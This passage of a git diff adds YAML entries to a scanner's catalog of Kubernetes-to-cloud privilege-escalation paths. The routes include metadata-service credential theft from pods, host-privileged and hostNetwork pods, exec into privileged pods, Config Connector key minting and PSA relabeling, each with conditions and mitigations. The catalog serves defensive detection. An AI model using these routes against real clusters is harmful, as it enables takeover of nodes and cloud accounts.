aggregate_as: "GSAs impersonable by {source.namespace}/{source.name}" + conditions: + - id: gcp_iam_not_collected + description: The IAM binding on the GSA must name the exact workload pool recorded on the joined GKE cluster and the source namespace and ServiceAccount. An annotation without that cluster and IAM join leaves the path unknown. + - id: gke_metadata_server_required + description: The pod must run on a GKE node pool using the GKE metadata server so it can exchange its Kubernetes identity for a Google access token. + - id: identity_sameness + description: Every cluster in the same project/fleet workload pool shares the member identity, so the same namespace/name in another cluster also reaches the GSA. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant workloadIdentityUser only to dedicated KSAs in namespaces untrusted subjects cannot write to; avoid shared workload pools across trust boundaries. + references: + - https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity + notes: The IAM binding, not the annotation, is the authorization gate. Direct IAM grants to the KSA principal (principal://iam.googleapis.com/projects//locations/global/workloadIdentityPools//subject/ns//sa/) also give it cloud privileges; the evaluator should treat that federated principal as the cloud_identity reached. + +- id: k8s-cloud-aks-workload-identity + provider: k8s + service: aks + title: ServiceAccount obtains an Entra identity via AKS Workload ID federation + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#azure--aks + source_revision: 2415fadfbd + summary: A ServiceAccount can obtain the privileges of the managed identities or app registrations whose federated identity credential matches the cluster issuer and its subject. + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_sa_cloud_binding: azure_workload_identity + azure_fic_matches_k8s_sa: true + scope: any + aggregate_as: "Entra identities federated with {source.namespace}/{source.name}" + conditions: + - id: azure_fic_not_collected + description: The Entra federated credential must accept the joined AKS cluster issuer, exact ServiceAccount subject, and token exchange audience. A matching credential is sufficient even without the webhook annotation when the token audience can be requested directly. + blockers: [] + confidence: derived + severity: high + mitigation: Federate identities only with dedicated ServiceAccounts in namespaces where untrusted subjects cannot create pods or tokens. + references: + - https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview + notes: The annotation and the azure.workload.identity/use label only drive token injection by the webhook; any holder of a token for the SA with audience api://AzureADTokenExchange can exchange it, so they are not gates. + +- id: k8s-cloud-node-cloud-identity + provider: k8s + service: nodes + title: Control of a node host reaches its cloud identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#node-iam-role-to-cluster-admin + source_revision: 2415fadfbd + summary: Control of a node host can obtain the privileges of its attached cloud identity (EC2 instance profile role, GCE node service account, or AKS kubelet managed identity). + source_kind: k8s_node + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_node_cloud_identity: true + scope: any + aggregate_as: "Cloud identity of nodes in {cluster}" + conditions: + - id: node_cloud_identity_not_collected + description: The attached identity is known from the cloud snapshot (instance profile, node pool service account, VMSS identity), not from the K8s collector. + - id: node_host_control_required + description: A Kubernetes node API credential alone does not expose the host's metadata service; the source must also control the node host or a workload that can reach the metadata service. + blockers: [] + confidence: conditional + severity: high + mitigation: Give node identities only the minimal permissions (registry pull, CNI); never attach broad roles to node pools. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/create-node-role.html + - https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#use_least_privilege_sa + notes: On GKE with Workload Identity enabled on the node pool, pods are served by the GKE metadata server, but the node itself still holds the node service account. + +- id: k8s-cloud-pod-imds-node-identity + provider: k8s + service: nodes + title: Ordinary pod reaches the node metadata service + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#node-iam-role-to-cluster-admin + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the node cloud identity by creating any pod when pods can reach the instance metadata service. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + k8s_node_cloud_identity: true + scope: any + aggregate_as: "Cloud identity of nodes in {cluster}" + conditions: + - id: imds_reachable_from_pod + description: EKS needs an IMDS hop limit >= 2 (AL2023 managed node groups without a launch template and Auto Mode default to 1) and no disablePodIMDS; GKE needs node pools without Workload Identity/metadata concealment; AKS needs no network policy blocking 169.254.169.254. + - id: network_policy_blocks_imds + description: An egress NetworkPolicy denying the metadata address removes the edge. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Block pod access to IMDS (hop limit 1, disablePodIMDS, GKE Workload Identity, egress policies) and use workload identities instead. + references: + - https://docs.aws.amazon.com/eks/latest/best-practices/identity-and-access-management.html#restrict-access-to-the-instance-profile-assigned-to-the-worker-node + notes: Admission is not involved; only network reachability matters. Exec into existing pods gives the same reach and is modelled implicitly through the ServiceAccount chain. + +- id: k8s-cloud-hostnetwork-pod-node-identity + provider: k8s + service: nodes + title: hostNetwork pod reaches the node metadata service (not node root) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-create---move-to-cloud + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the node cloud identity by creating a hostNetwork pod, which bypasses pod-level IMDS hop restrictions. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + k8s_node_cloud_identity: true + scope: any + aggregate_as: "Cloud identity of nodes in {cluster}" + conditions: + - id: other_admission_blocks_host_network + description: Non-PSA admission may reject hostNetwork pods. + - id: gke_metadata_server_on_host_network + description: On GKE node pools with Workload Identity, hostNetwork pods are not intercepted by the GKE metadata server and reach the node service account, so Workload Identity is not a blocker here. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Enforce PSA baseline (which disallows hostNetwork) and minimize node identity permissions. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + notes: Distinct from k8s-cloud-pod-imds-node-identity because it is gated by PSA rather than IMDS network settings; it only adds reach where ordinary pods are kept from the metadata service (EKS hop limit 1 / disablePodIMDS, GKE metadata server, egress NetworkPolicy, which does not apply to hostNetwork pods). hostNetwork places the pod in the node network namespace but is not a host escape and does not reach node root or the kubelet credential; node-local loopback services remain subject to their own authentication. + +- id: k8s-cloud-eks-node-role-to-node + provider: k8s + service: eks + title: EKS node IAM role authenticates to the cluster as a node + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#privesc-to-cluster-admin + source_revision: 2415fadfbd + summary: Credentials of the EKS node IAM role can obtain the privileges of the node identity (system:node:, group system:nodes) mapped to that instance session. + source_kind: cloud_identity + requires: + all_of: [] + target: + kind: k8s_node + selector: + k8s_nodes_mapped_to_cloud_identity: true + scope: cluster + aggregate_as: "Nodes mapped to the node role in {cluster}" + conditions: + - id: node_name_from_session + description: The username is derived from the instance (EC2PrivateDNSName) of the role session; stolen instance credentials map to that instance's node. Principals able to assume the node role with another session can reach other nodes. + blockers: [] + confidence: conditional + severity: high + mitigation: Block pod access to IMDS so node role credentials cannot be stolen from pods, and keep privileged ServiceAccounts' pods on dedicated nodes. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html + notes: Combined with k8s-nodes-node-mint-pod-sa-tokens this reaches pod ServiceAccounts only on the same node. Mapping is via access entries of type EC2_LINUX or EC2_WINDOWS, or aws-auth mapRoles to system:nodes. A missing access entry remains conditional when aws-auth may still map the role; API-only authentication excludes that route. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/config_connector.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/config_connector.yaml new file mode 100644 index 0000000000..997d9ef170 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/config_connector.yaml @@ -0,0 +1,74 @@ +# In-cluster Config Connector access can create a credential for a named Google service account. + +- id: k8s-configconnector-service-account-key + provider: k8s + service: configconnector + title: Obtain a Google service account key through Config Connector + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kcc-iamserviceaccountkey-plus-secret-read--mint-a-long-lived-key-for-a-more-privileged-service-account + source_revision: 171e422 + summary: A Kubernetes service account with key-resource create permission in a watched namespace can obtain a credential for an exact Google service account by reading a generated key or supplying its own public key. + source_kind: k8s_service_account + requires: + all_of: + - verb: create + api_group: iam.cnrm.cloud.google.com + resource: iamserviceaccountkeys + target: + kind: gcp_service_account + selector: + k8s_kcc_service_account_key_path: true + scope: any + outcome: credentials + aggregate_as: Google service accounts whose keys the Kubernetes service account can obtain + conditions: + - id: reconciliation + description: Config Connector must accept and reconcile the new key resource, and the resulting credential must remain usable. + - id: admission + description: Kubernetes admission policy or a conflicting resource name can reject the request. + blockers: [] + confidence: conditional + severity: critical + mitigation: Limit IAMServiceAccountKey creation in watched namespaces, restrict the Config Connector identity's key permissions, and enforce key-creation and key-upload organization policies. + references: + - https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iamserviceaccountkey + - https://docs.cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts.keys/upload + notes: This route starts from an in-cluster Kubernetes service account. It joins the exact watched namespace, Config Connector identity, Google service account, selected key-reading or supplied-public-key path, and the matching effective policy. The scanner never reads a private key. + +- id: k8s-configconnector-project-iam-grant + provider: k8s + service: configconnector + title: Change project IAM through Config Connector + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kubernetes-rbac-over-a-kcc-resource--act-as-the-configured-config-connector-identity + source_revision: 171e422 + summary: A Kubernetes service account can gain project IAM control when it can create an IAMPolicyMember or change an existing IAMPolicy or IAMPartialPolicy in a watched namespace and the configured controller can read and set that project's IAM policy. + source_kind: k8s_service_account + requires: + any_of: + - - {verb: create, api_group: iam.cnrm.cloud.google.com, resource: iampolicymembers, namespace: "{target.namespace}"} + - - {verb: patch, api_group: iam.cnrm.cloud.google.com, resource: iampolicies, namespace: "{target.namespace}", resource_name: "{target.name}"} + - - {verb: update, api_group: iam.cnrm.cloud.google.com, resource: iampolicies, namespace: "{target.namespace}", resource_name: "{target.name}"} + - - {verb: patch, api_group: iam.cnrm.cloud.google.com, resource: iampartialpolicies, namespace: "{target.namespace}", resource_name: "{target.name}"} + - - {verb: update, api_group: iam.cnrm.cloud.google.com, resource: iampartialpolicies, namespace: "{target.namespace}", resource_name: "{target.name}"} + target: + kind: gcp_verified_authority + selector: + k8s_kcc_project_policy_grant: true + scope: any + outcome: permission_grant + grants: + - resourcemanager.projects.setIamPolicy + aggregate_as: Project IAM grants available through Config Connector + conditions: + - id: reconciliation + description: Config Connector must accept and reconcile the IAM resource. + - id: admission + description: Kubernetes admission policy or a conflicting resource name can reject the request. + blockers: [] + confidence: conditional + severity: critical + mitigation: Limit IAM policy resource writes in watched namespaces and restrict the Config Connector identity's project IAM permissions. + references: + - https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampolicymember + - https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampolicy + - https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampartialpolicy + notes: This route starts from an in-cluster Kubernetes service account. It needs exact namespace RBAC create or patch/update on a collected existing policy, a watched and healthy Config Connector identity, and that identity's get/set IAM policy rights on the exact project. The grant is bounded to that project and remains conditional on admission and reconciliation. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/helm_values_rbac.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/helm_values_rbac.yaml new file mode 100644 index 0000000000..c94545d8bb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/helm_values_rbac.yaml @@ -0,0 +1,35 @@ +# catalog_description: Only a source principal's named action that reaches an +# exact other principal or grants the source a verified new permission is active. +# Reading a Secret without proof of its credential subject and usability is exposure. +# This is one reviewed, bounded self-permission gain in the KRTE lab. A generic +# Helm values writer does not gain RBAC without the exact chart and applier join. +- id: k8s-helm-values-rbac-privileged-reconciler + provider: k8s + service: helm + title: Patch the KRTE values ConfigMap so its privileged applier grants the tenant ServiceAccount Secret reads + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#values-to-rbac-through-a-privileged-reconciler + source_revision: 171e422 + summary: A tenant ServiceAccount that can patch krte-sc-source/prod-values changes values.json; the reviewed applier renders a Role and RoleBinding granting that same ServiceAccount get/list on Secrets in krte-sc-prod. + source_kind: k8s_service_account + requires: + all_of: + - {verb: patch, resource: configmaps, namespace: krte-sc-source, resource_name: prod-values} + target: + kind: k8s_verified_authority + selector: + k8s_helm_values_rbac: true + scope: cluster + outcome: permission_grant + grants: ["get,list secrets in krte-sc-prod to the source ServiceAccount"] + aggregate_as: "get,list secrets in krte-sc-prod via reviewed KRTE Helm applier" + conditions: + - id: reviewed_helm_values_rbac_evidence + description: A unique collected k8s_helm_values_rbac_evidence record must bind the exact ConfigMap and values key, chart fields, privileged reconciler, rendered Role and RoleBinding, source ServiceAccount, admitted reconciliation, prior denial and observed new permission. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict writes to values consumed by privileged reconcilers and constrain which subjects, namespaces and RBAC rules the chart may render. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping + - https://helm.sh/docs/chart_template_guide/values_files/ + notes: The target is only the reviewed get/list Secret permission in krte-sc-prod. The collection is an external review attestation, never inferred from a ConfigMap patch alone; missing, partial, duplicate or mismatched records create no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/nodes.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/nodes.yaml new file mode 100644 index 0000000000..5f04cf0da2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/nodes.yaml @@ -0,0 +1,686 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# Kubernetes node-level techniques: reach node credentials (k8s_node) through host-privileged +# pods, PSA/namespace manipulation, kubelet access or node client certificates, and what a node +# identity reaches. Conventions: see header of rbac.yaml. Source: hacktricks-cloud rev a53b46392c, refreshed to 171e422. + +- id: k8s-nodes-privileged-pod-create + provider: k8s + service: nodes + title: Create a host-privileged pod (privileged container or host-root hostPath) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-create--escape + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the nodes it can schedule a host-privileged pod onto. + requires: + all_of: + - verb: create + resource: pods + namespace: "{pivot.namespace}" + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: other_admission_blocks_host_access + description: Non-PSA admission (Kyverno, Gatekeeper, VAP, OpenShift SCC) may reject privileged/hostPath/hostPID pods. + - id: psa_cluster_default_not_collected + description: An unlabeled namespace can still inherit a baseline or restricted cluster-wide PSA default, which is not in the Kubernetes resource inventory. + - id: node_reachable_by_scheduling + description: The pod can pin itself with nodeName/tolerations, so tainted nodes (including self-managed control-plane nodes) are reachable unless admission strips them; managed control planes are not nodes. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Enforce Pod Security Admission baseline or restricted on every namespace where untrusted subjects can create pods. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ + notes: The blocker reads the pod-security.kubernetes.io/enforce label of the pivot namespace; the cluster-wide PSA default is not collected, so an unlabeled namespace stays conditional. A privileged container or a writable hostPath of / (or a runtime-socket mount) yields node root; hostPID, hostIPC or hostNetwork alone do not (hostNetwork reaches node metadata, see k8s-cloud-hostnetwork-pod-node-identity). Added SYS_ADMIN/SYS_MODULE without privileged mode is runtime-dependent. PSA baseline forbids all of these, so the blocker covers every variant. + +- id: k8s-nodes-privileged-controller-create + provider: k8s + service: nodes + title: Create or modify a controller with a host-privileged pod template + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the nodes onto which a controller it controls schedules a host-privileged pod (every node for a DaemonSet). + requires: + all_of: [] + any_of: + - - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: update, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: other_admission_blocks_host_access + description: Non-PSA admission may reject privileged/hostPath/hostPID pod templates. + - id: psa_cluster_default_not_collected + description: An unlabeled namespace can still inherit a restrictive cluster-wide PSA default, which is not collected. + - id: controller_object_exists + description: A patch or update grant must cover the name of an existing controller in the same namespace; create rights do not need an existing controller. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Enforce PSA baseline/restricted on namespaces where untrusted subjects manage workloads. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ + notes: PSA evaluates pods created by controllers (and warns on templates). For patch/update, the evaluator joins exact named controller inventory before reaching nodes. Separate from k8s-nodes-privileged-pod-create because the permission set differs. + +- id: k8s-nodes-privileged-ephemeral-container + provider: k8s + service: nodes + title: Add a privileged ephemeral container to an existing pod + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#ephemeralcontainers + source_revision: 2415fadfbd + summary: The source may obtain the privileges of a node hosting a target pod by adding a privileged ephemeral container when the runtime exposes a usable host escape surface. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: pods, subresource: ephemeralcontainers, namespace: "{pivot.namespace}"} + - - {verb: update, resource: pods, subresource: ephemeralcontainers, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_hosting_pods_in_namespace: "{pivot.namespace}" + scope: cluster + aggregate_as: "Nodes running pods of {pivot.namespace}" + conditions: + - id: host_namespaces_fixed_by_pod + description: hostPID/hostNetwork and volumes are fixed by the existing pod. Privileged mode gives broad device and capability access, but node control still depends on the runtime, host mounts or another verified escape surface. + - id: exact_running_pod_write + description: The patch or update grant must cover an existing running Pod by name; permission limited to a different Pod does not reach this node. + - id: other_admission_blocks_host_access + description: Non-PSA admission may reject privileged ephemeral containers. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Restrict pods/ephemeralcontainers and enforce PSA baseline/restricted. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/ + notes: PSA checks ephemeral containers at the pods/ephemeralcontainers subresource. The evaluator joins the grant to an exact running Pod on the target node. + +- id: k8s-nodes-exec-into-host-privileged-pod + provider: k8s + service: nodes + title: Exec into an existing pod with a privileged container or escape capability + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#privileged-pod-and-hostpid-escape + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the nodes that run pods it can exec into whose containers are privileged or carry a node-escape capability. + requires: + all_of: + - verb: create + resource: pods + subresource: exec + namespace: "{pivot.namespace}" + target: + kind: k8s_node + selector: + k8s_node_hosting_privileged_pod_in_namespace: "{pivot.namespace}" + scope: cluster + aggregate_as: "Nodes running privileged pods of {pivot.namespace}" + conditions: + - id: cap_sys_admin_constrained_by_seccomp_apparmor + description: Added SYS_ADMIN (or ALL) without privileged mode is an escape only when seccomp/AppArmor/SELinux and the user namespace allow the needed mount or namespace-entry operation (cgroup v1 release_agent, a host device or a host PID to join). + - id: kernel_module_loading_restricted + description: SYS_MODULE needs the initial user namespace and a kernel without lockdown or mandatory module signing. + - id: open_by_handle_at_blocked_by_seccomp + description: DAC_READ_SEARCH reads host files through open_by_handle_at only when the syscall is allowed and a host file handle is reachable; it yields node credentials (read), not direct execution. + - id: ptrace_restricted_by_apparmor_or_yama + description: SYS_PTRACE with hostPID needs an attachable host process; the runtime AppArmor profile or Yama ptrace_scope may block it. + - id: target_container_selectable + description: The exec grant must cover the exact Pod by name, and the privileged or escape-capable container must be running; completed init containers do not supply this path. + blockers: [] + confidence: conditional + severity: critical + mitigation: Remove pods/exec in namespaces that run privileged DaemonSets (kube-system, CNI, monitoring agents) and drop privileged mode and SYS_ADMIN/SYS_MODULE/SYS_PTRACE/DAC_READ_SEARCH from workloads that do not need them. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + - https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/ + - https://man7.org/linux/man-pages/man7/capabilities.7.html + notes: Not blocked by PSA because the pod already exists. Only active containers contribute privileged mode or capabilities; completed init containers are excluded. hostNetwork, hostIPC and hostPID alone do not match (hostNetwork is modelled as node cloud-identity reach in k8s-cloud-hostnetwork-pod-node-identity). Sensitive hostPath mounts are a separate entry (k8s-nodes-exec-into-host-mount-pod). Privileged DaemonSets (CNI, CSI, log agents) make this reach every node. The same applies to get pods/exec on clusters older than 1.35 (see k8s-workloads-pods-exec-get-websocket). + +- id: k8s-nodes-exec-into-host-mount-pod + provider: k8s + service: nodes + title: Exec into an existing pod that mounts a runtime socket or sensitive host path + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#runtime-sockets-and-kernel-helper-paths + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the nodes that run pods it can exec into which mount a container runtime socket, node credential files, or a host-executed path writable. + requires: + all_of: + - verb: create + resource: pods + subresource: exec + namespace: "{pivot.namespace}" + target: + kind: k8s_node + selector: + k8s_node_hosting_host_mount_pod_in_namespace: "{pivot.namespace}" + scope: cluster + aggregate_as: "Nodes running host-mount pods of {pivot.namespace}" + conditions: + - id: node_credential_location_varies + description: A readOnly /etc or /etc/kubernetes mount exposes node or cluster credentials only where the distribution keeps them there (kubeadm kubelet.conf / control-plane admin.conf and PKI, k3s); managed node images often do not. + - id: host_write_needs_host_consumer + description: Writable /home, /var/lib/docker, /var/lib/containerd or /sys/fs/cgroup lead to host execution only if a host process later consumes the written file (SSH login, image layer, cgroup v1 release_agent). + - id: hostpath_subpath_narrows_mount + description: A subPath mount exposes only the named subdirectory of the hostPath volume. + - id: socket_usable_by_container_user + description: A runtime socket must be connectable by the container user (file mode, SELinux label); a readOnly mount does not prevent connecting. + - id: exact_active_container_mount + description: The exec grant must cover the exact Pod by name, and the sensitive host path must be mounted in a running container; a completed init container does not expose it through exec. + blockers: [] + confidence: conditional + severity: critical + mitigation: Do not mount runtime sockets, /, /var/lib/kubelet, /etc or host binary directories into workloads; mount specific paths readOnly and restrict pods/exec in namespaces running such agents. + references: + - https://kubernetes.io/docs/concepts/storage/volumes/#hostpath + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + notes: Derived matches are runtime sockets (docker, containerd, CRI-O, k3s, podman, buildkit) or any ancestor of them, readOnly mounts of / or of the kubelet credential paths (/var/lib/kubelet/pki, kubeconfig, pods), and writable mounts of host-executed paths (/etc cron/systemd/manifests/passwd, /root/.ssh, binary and library directories, /opt/cni/bin, /proc/sys/kernel/core_pattern, /sys/kernel/uevent_helper). Writable /var/log (kubelet log-symlink read) is not counted because it is kubelet-version dependent (see _excluded.yaml). Other hostPaths such as /etc/ssl/certs, /var/log or data directories do not match. + +- id: k8s-nodes-hostpath-persistentvolume + provider: k8s + service: nodes + title: Mount the node filesystem through a hostPath PersistentVolume + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/storage-and-networking.md#storage-control-objects + source_revision: a66f094ede + summary: The source can obtain the privileges of nodes by consuming a hostPath PersistentVolume it created, which Pod Security Admission does not inspect. + requires: + all_of: + - verb: create + resource: persistentvolumes + namespace: "*" + - verb: create + resource: persistentvolumeclaims + namespace: "{pivot.namespace}" + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: admission_blocks_hostpath_pv + description: Admission policies on PersistentVolume objects (e.g. Gatekeeper/Kyverno disallowing hostPath PVs) remove the edge. + - id: pv_binding_succeeds + description: The claim must bind to the created PV (storageClassName/selector match). + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Restrict persistentvolumes create to storage administrators and deny hostPath PersistentVolumes via admission. + references: + - https://kubernetes.io/docs/concepts/storage/volumes/#hostpath + notes: PSA restricted allows persistentVolumeClaim volumes regardless of backing PV type, so the PSA blocker does not apply. A writable host root mount is required for full node access (writing a root-level file such as a cron or kubelet static pod gives code exec as root); without privileged mode, node credentials are still readable from the mounted filesystem. + +- id: k8s-nodes-namespace-psa-relabel + provider: k8s + service: nodes + title: Relax a namespace's Pod Security labels and create host-privileged pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-namespace-escalation.md#escape-to-the-node + source_revision: 2415fadfbd + summary: The source can obtain the privileges of nodes by removing the PSA enforcement label of a namespace where it can create pods. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + any_of: + - - {verb: patch, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: patch, resource: namespaces, subresource: status, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, subresource: status, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, subresource: finalize, namespace: "*", resource_name: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: existing_restrictive_namespace_label + description: The namespace must currently enforce baseline or restricted PSA; a namespace already permitting privileged Pods needs no relabel and belongs to the direct Pod-create path. + - id: other_admission_blocks_host_access + description: Non-PSA admission (policies protecting namespace labels or 